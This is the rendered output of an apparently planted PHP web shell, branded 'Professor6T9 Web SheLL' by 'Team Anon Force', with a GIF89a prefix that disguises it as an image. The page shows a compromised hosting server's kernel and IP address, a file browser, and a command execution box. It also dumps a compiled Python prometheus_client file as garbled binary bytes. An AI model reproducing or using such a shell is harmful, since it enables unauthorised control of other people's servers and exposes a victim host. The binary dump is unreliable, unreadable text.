GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
cloudlinux
/
venv
/
lib64
/
python3.11
/
site-packages
/
prometheus_client
/
__pycache__
[ HOME ]
Exec
Submit
multiprocess.cpython-311.pyc
� �|oiJ � � � d dl mZ d dlmZ d dlZd dlZd dlZddlmZ ddl m Z ddlmZ ddl mZ e n # e$ r eZY nw xY wd Z G d � de� � Zd d�ZdS )� )�unicode_literals)�defaultdictN� )�Metric)� MmapedDict)�Sample)�floatToGoStringzMultiprocess metricc �d � e Zd ZdZd d�Zed d�� � Zed� � � Zed� � � Zd� Z dS )�MultiProcessCollectorz+Collector for files for multi-process mode.Nc �� � |�t j � d� � }|rt j � |� � st d� � �|| _ |r|� | � � d S d S )N�prometheus_multiproc_dirz:env prometheus_multiproc_dir is not set or not a directory)�os�environ�get�path�isdir� ValueError�_path�register)�self�registryr s �p/builddir/build/BUILD/cloudlinux-venv-1.0.10/venv/lib/python3.11/site-packages/prometheus_client/multiprocess.py�__init__zMultiProcessCollector.__init__ s| � ��<��:�>�>�"<�=�=�D�� [�2�7�=�=��.�.� [��Y�Z�Z�Z��� �� $����d�#�#�#�#�#� $� $� Tc �l � t � | � � }t � ||� � S )z�Merge metrics from given mmap files. By default, histograms are accumulated, as per prometheus wire format. But if writing the merged data back to mmap files, use accumulate=False to avoid compound accumulation. )r � _read_metrics�_accumulate_metrics)�files� accumulate�metricss r �mergezMultiProcessCollector.merge! s- � � (�5�5�e�<�<��$�8�8��*�M�M�Mr c �P �� i }i ��fd�}| D �]}t j � |� � � d� � }|d } t j |� � }n!# t $ r |dk r|d dv rY �o� w xY w|D ]�\ }}} ||� � \ } }}} |� | � � }|�t | t |� � }||| <